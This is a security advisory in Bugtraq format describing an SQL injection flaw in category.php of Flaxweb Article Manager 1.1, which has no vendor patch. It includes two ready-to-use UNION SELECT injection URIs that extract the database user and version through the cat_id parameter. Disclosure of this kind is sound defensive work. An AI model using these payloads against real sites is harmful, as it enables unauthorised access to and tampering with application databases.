Flaxweb Article Manager 'category.php' SQL Injection Vulnerability

Bugtraq ID:	33422
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 25 2009 12:00AM
Updated:	Jan 27 2009 10:59PM
Credit:	JiKo
Vulnerable:	Flaxweb Article Manager 1.1
Not Vulnerable:

Flaxweb Article Manager 'category.php' SQL Injection Vulnerability

Flaxweb Article Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Flaxweb Article Manager 1.1 is vulnerable; other versions may be affected as well.

Flaxweb Article Manager 'category.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/category.php?cat_id=3%20and%201=0%20union%20select%200,1,user(),3,4,5--

http://www.example.com/category.php?cat_id=3%20and%201=0%20union%20select%200,1,version(),3,4,5-- (V 4 :) )

Flaxweb Article Manager 'category.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Flaxweb Article Manager 'category.php' SQL Injection Vulnerability

References:

• Article Manager Homepage (Flaxweb)